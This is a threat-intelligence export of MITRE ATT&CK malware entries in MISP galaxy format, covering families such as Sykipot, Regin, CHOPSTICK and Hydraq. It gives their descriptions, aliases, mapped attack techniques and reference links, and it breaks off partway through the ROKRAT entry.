[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)

The tag is: *misp-galaxy:mitre-malware="Sykipot - S0018"*

Sykipot - S0018 is also known as:

- Sykipot

View relationships graph

Sykipot - S0018 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5233. Table References

Links
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments
https://attack.mitre.org/software/S0018
https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards

Volgmer - S0180

[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)

The tag is: *misp-galaxy:mitre-malware="Volgmer - S0180"*

Volgmer - S0180 is also known as:

- Volgmer

View relationships graph

Volgmer - S0180 has relationships with:

- similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5234. Table References

Links
https://attack.mitre.org/software/S0180
https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF

Epic - S0091

[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)

The tag is: *misp-galaxy:mitre-malware="Epic - S0091"*

Epic - S0091 is also known as:

- Epic
- Tavdig
- Wipbot
- WorldCupSec
- TadjMakhal

View relationships graph

Epic - S0091 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5235. Table References

Links
https://attack.mitre.org/software/S0091
https://securelist.com/the-epic-turla-operation/65545/

Regin - S0019

[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)

The tag is: *misp-galaxy:mitre-malware="Regin - S0019"*

Regin - S0019 is also known as:

- Regin

View relationships graph

Regin - S0019 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5236. Table References

Links
https://attack.mitre.org/software/S0019
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf

Chaos - S0220

[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)

The tag is: *misp-galaxy:mitre-malware="Chaos - S0220"*

Chaos - S0220 is also known as:

- Chaos

View relationships graph

Chaos - S0220 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5237. Table References

Links
http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/
https://attack.mitre.org/software/S0220

Uroburos - S0022

[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)

The tag is: *misp-galaxy:mitre-malware="Uroburos - S0022"*

View relationships graph

Uroburos - S0022 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

Table 5238. Table References

Links
https://attack.mitre.org/software/S0022
https://securelist.com/the-epic-turla-operation/65545/

adbupd - S0202

[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-malware="adbupd - S0202"*

adbupd - S0202 is also known as:

- adbupd

View relationships graph

adbupd - S0202 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5239. Table References

Links
https://attack.mitre.org/software/S0202

https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

CHOPSTICK - S0023

[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).

The tag is: *misp-galaxy:mitre-malware="CHOPSTICK - S0023"*

CHOPSTICK - S0023 is also known as:

- CHOPSTICK
- Backdoor.SofacyX
- SPLM
- Xagent
- X-Agent
- webhp

View relationships graph

CHOPSTICK - S0023 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5240. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://attack.mitre.org/software/S0023
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.justice.gov/file/1080281/download
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

DroidJack - S0320

[DroidJack](https://attack.mitre.org/software/S0320) is an Android remote access tool that has been observed posing as legitimate applications including the Super Mario Run and Pokemon GO games.

(Citation: Zscaler-SuperMarioRun) (Citation: Proofpoint-Droidjack)

The tag is: *misp-galaxy:mitre-malware="DroidJack - S0320"*

DroidJack - S0320 is also known as:

- DroidJack

View relationships graph

DroidJack - S0320 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5241. Table References

Links
https://attack.mitre.org/software/S0320
https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app
https://www.zscaler.com/blogs/research/super-mario-run-malware-2-—-droidjack-rat

Hydraq - S0203

[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)

The tag is: *misp-galaxy:mitre-malware="Hydraq - S0203"*

Hydraq - S0203 is also known as:

- Hydraq

- Roarur
- MdmBot
- HomeUnix
- Homux
- HidraQ
- HydraQ
- McRat
- Aurora
- 9002 RAT

View relationships graph

Hydraq - S0203 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5242. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://attack.mitre.org/software/S0203
https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://www.symantec.com/connect/blogs/trojanhydraq-incident

ZeroT - S0230

[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)

The tag is: *misp-galaxy:mitre-malware="ZeroT - S0230"*

ZeroT - S0230 is also known as:

- ZeroT

View relationships graph

ZeroT - S0230 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:tool="ZeroT" with estimative-language:likelihood-probability="likely"

Table 5243. Table References

Links
https://attack.mitre.org/software/S0230
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts

Twitoor - S0302

[Twitoor](https://attack.mitre.org/software/S0302) is a dropper application capable of receiving commands from social media.(Citation: ESET-Twitoor)

The tag is: *misp-galaxy:mitre-malware="Twitoor - S0302"*

Twitoor - S0302 is also known as:

- Twitoor

View relationships graph

Twitoor - S0302 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5244. Table References

Links
http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/
https://attack.mitre.org/software/S0302

Get2 - S0460

[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)

The tag is: *misp-galaxy:mitre-malware="Get2 - S0460"*

Get2 - S0460 is also known as:

- Get2

View relationships graph

Get2 - S0460 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5245. Table References

Links
https://attack.mitre.org/software/S0460
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

LOWBALL - S0042

[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)

The tag is: *misp-galaxy:mitre-malware="LOWBALL - S0042"*

LOWBALL - S0042 is also known as:

- LOWBALL

View relationships graph

LOWBALL - S0042 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5246. Table References

Links
https://attack.mitre.org/software/S0042
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

ROKRAT - S0240

[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)

The tag is: *misp-galaxy:mitre-malware="ROKRAT - S0240"*

ROKRAT - S0240 is also known as:

- ROKRAT

View relationships graph

ROKRAT - S0240 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
